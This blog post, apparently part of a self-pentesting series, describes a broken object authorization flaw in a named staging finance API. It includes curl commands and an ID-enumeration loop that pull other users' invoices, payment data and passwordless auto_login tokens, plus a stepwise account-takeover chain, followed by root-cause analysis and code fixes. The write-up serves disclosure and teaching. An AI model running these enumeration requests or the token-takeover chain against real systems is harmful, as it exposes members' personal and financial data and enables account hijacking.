Post

I Can Read Everyone's Invoices (and Found a Backdoor Inside)

I Can Read Everyone's Invoices (and Found a Backdoor Inside)

I was testing my own finance records. Checking that the API returned the right data for my user. Standard BOLA test – try accessing someone else’s record and confirm you get a 403.

I didn’t get a 403.

I got a 200. With someone else’s full QuickBooks invoice, their billing email, their physical address, and – buried 38 fields deep in the response – a token that lets you log in as them without a password.

The BOLA

BOLA (Broken Object Level Authorization) is OWASP API #1 for a reason. It’s the simplest vulnerability to test and the easiest to miss. The test is always the same: take your auth token, change the ID in the URL, see what happens.

1
2
3
4
5
6
7
8
9
# My finance record
curl -s "https://api.staging.asifa-hollywood.org/api/finance/245" \
  -H "Authorization: Bearer $TOKEN"
# HTTP 200 -- my data ✓

# Someone else's finance record
curl -s "https://api.staging.asifa-hollywood.org/api/finance/50" \
  -H "Authorization: Bearer $TOKEN"
# HTTP 200 -- their data ✗

That’s it. Any authenticated user can read any finance record by changing the number in the URL. The IDs are sequential – 1, 2, 3 – so you don’t even need to guess. Just loop from 1 to 415.

1
2
3
4
for id in $(seq 1 415); do
  curl -s "https://api.staging.asifa-hollywood.org/api/finance/$id" \
    -H "Authorization: Bearer $TOKEN" | jq '.data.id, .data.user.email' 2>/dev/null
done

415 finance records. Each one with full QuickBooks invoice data.

What’s in a Finance Record

Every finance record comes with the full qb_invoice JSON object. That’s the raw QuickBooks response, piped straight through to the API:

1
2
3
4
5
6
7
8
9
10
11
{
  "CustomerRef": {"value": "217", "name": "John Smith Jr."},
  "BillEmail": {"Address": "[email protected]"},
  "BillAddr": "1671 Windler Walks, St. Peters, Idaho 64488-8354",
  "ShipFromAddr": "123 Sierra Way, San Pablo, CA 87999",
  "DocNumber": "2611",
  "TotalAmt": 350,
  "Line": [{"Description": "Annie Award Submission", "Amount": 350}],
  "InvoiceLink": "https://app.qbo.intuit.com/...",
  "LastModifiedByRef": "9341453107577465"
}

Customer names. Billing emails. Physical addresses. Invoice amounts. Live payment links. QuickBooks internal user IDs. The accounting structure (account “107 - Sales”, cost account “135 - Cost of Goods Sold”).

And payment data too:

1
2
3
4
5
6
7
{
  "qb_payment": {
    "CCTransId": "ch_3RCx...",
    "PaymentMethodRef": {"name": "Visa"},
    "TotalAmt": 350
  }
}

Credit card transaction IDs. Payment methods. Full financial PII for every member who has ever submitted.

The Irony of select: false

Here’s the thing that makes this extra frustrating. The developer who built this knew the QB data was sensitive. The entity has select: false on both fields:

1
2
3
4
5
6
// finance.entity.ts
@Column({ type: 'json', nullable: true, select: false })
qb_payment: any;

@Column({ type: 'json', nullable: true, select: false })
qb_invoice: any;

select: false means TypeORM won’t include these columns in query results by default. You have to explicitly ask for them. It’s the right instinct – hide sensitive data unless you need it.

But then the service does this:

1
2
3
4
5
6
7
8
9
10
11
12
// finance.service.ts -- findAll()
.addSelect('finances.qb_invoice')

// finance.service.ts -- find()
.addSelect('finance.qb_invoice')
.addSelect('finance.qb_payment')

// finance.service.ts -- markAsPaidByQBInvoiceId()
.addSelect(['finance.qb_invoice'])

// finance.service.ts -- getUnInvoicedEntries()
.addSelect('finance.qb_invoice')

Five .addSelect() calls across four methods. Every single one overrides the select: false protection. The safeguard was added and then immediately bypassed everywhere it matters.

I get why it happened. The webhook handler needs the raw QB data to process payments. The admin view needs it to show invoice details. But instead of creating separate internal methods for those use cases, the same query is used for both the admin/webhook path and the public-facing finance API. The QB data leaks through because the same method serves both audiences.

The auto_login Token

And then I found the thing I wasn’t looking for.

The finance service joins the User entity to show who owns the record:

1
2
3
// finance.service.ts
.leftJoinAndSelect('finance.user', 'user')
.leftJoinAndSelect('finance.submitter', 'submitter')

That’s a raw entity join. The full User object, all 38 fields, gets included in the response. And one of those fields is auto_login:

1
2
3
4
5
6
7
8
9
10
11
12
13
{
  "user": {
    "id": 24090,
    "email": "[email protected]",
    "first": "John",
    "last": "Smith",
    "auto_login": "MZp62Kc8Kj9xyKCCkTLQ2NFQLjM37q",
    "is_deleted": false,
    "duplicate": 0,
    "merge_with_id": null,
    "refresh_token": "eyJhbGciOiJIUzI1NiIs..."
  }
}

auto_login is a unique token used for passwordless authentication. You know those “click here to access your account” links in emails? That token is the key. With it, you can log in as the user without knowing their password.

And it’s sitting right there in the finance API response.

The response DTO does have @Exclude() on auto_login:

1
2
3
// get-user.response.dto.ts
@Exclude()
auto_login: string;

But here’s the catch: routing-controllers doesn’t have classTransformer enabled in the server configuration. The @Exclude() decorators on the DTO are never applied. The framework serializes the raw entity, not the DTO. Every @Exclude() in the codebase is decorative.

The Attack Chain

Put it together:

  1. Authenticate as any member (even a test account)
  2. Enumerate finance records by sequential ID (1 to 415)
  3. Extract user emails and auto_login tokens from the joined User entities
  4. Use auto_login to authenticate as any user whose finance record has a user relation
  5. As that user, access their submissions, company data, membership details
  6. Repeat with the new user’s finance records to discover more users

It’s a self-amplifying loop. Each compromised account reveals more accounts. And the entry point is any authenticated user with any role.

Why This Happens

There’s a pattern I keep seeing in this codebase, and it’s not unique to this project:

The entity is the API response.

TypeORM entities are designed to model the database. They have every column, every relation, every internal flag. When you return a raw entity from a controller, you’re returning the database schema as your API contract.

This works great during development. Fast. Simple. No mapping code. But it means every column you add to the entity automatically appears in the API response. Including auto_login. Including qb_invoice. Including refresh_token. Including is_deleted, duplicate, merge_with_id.

The fix is boring but necessary: response DTOs that explicitly declare what gets returned.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// Instead of returning the raw entity:
return finance;

// Return a mapped DTO:
return {
  id: finance.id,
  amount: finance.amount,
  status: finance.status,
  user: finance.user ? {
    id: finance.user.id,
    email: finance.user.email,
    name: `${finance.user.first} ${finance.user.last}`,
  } : null,
  // qb_invoice: deliberately excluded
  // qb_payment: deliberately excluded
  // user.auto_login: deliberately excluded
};

Yes, it’s more code. Yes, you have to update it when you add fields. But “more code” is better than “leaked every user’s passwordless auth token.”

The Three Fixes

Fix 1: BOLA – add ownership check

1
2
3
4
5
6
7
8
async find(id: number, currentUser: User): Promise<Finance> {
  const finance = await this.repository.findOne(id);
  if (!finance) throw new NotFoundError();
  if (currentUser.role !== 'admin' && finance.user_id !== currentUser.id) {
    throw new UnauthorizedError();
  }
  return finance;
}

Fix 2: QB data – stop using .addSelect() in client-facing methods

Create an internal method for webhook/admin processing that includes QB data, and a separate public method that doesn’t. The select: false protection works perfectly – if you stop overriding it.

Fix 3: auto_login – enable classTransformer or use response DTOs

Either add classTransformer: true to the useExpressServer() config (which makes all @Exclude() decorators actually work), or stop returning raw entities entirely. Both work. The second is more explicit and harder to accidentally break.

The Lesson

This finding taught me something about security layering. The developers did the right things:

  • They marked sensitive columns as select: false
  • They added @Exclude() to the DTO
  • They had a response DTO at all

Three layers of protection. All three were bypassed:

  • select: false bypassed by .addSelect()
  • @Exclude() bypassed by classTransformer not being enabled
  • DTO bypassed by returning raw entities instead of mapped DTOs

It’s not that nobody thought about security. It’s that three different safeguards all had the same failure mode: they were declared but not enforced. A security control that exists in the code but doesn’t execute is worse than no control at all – because it gives you false confidence that the data is protected.

Sound familiar? (--dryrun, anyone?)

Test the actual output. Not the intention. Not the annotation. The actual HTTP response body.

1
2
3
4
5
6
7
8
9
curl -s "https://api.staging.asifa-hollywood.org/api/finance/245" \
  -H "Authorization: Bearer $TOKEN" | python3 -c "
import sys, json
data = json.load(sys.stdin)['data']
print('qb_invoice present:', 'qb_invoice' in data)
print('auto_login present:', 'auto_login' in data.get('user', {}))
"
# qb_invoice present: True
# auto_login present: True

Both True. The annotations lied. The response told the truth.


This is part of the Breaking My Own Infrastructure series, where I document pentesting our own systems.

Previous: The Refresh Token That Wouldn’t Die

Find me on LinkedIn or GitHub.

This post is Copyrighted by the author.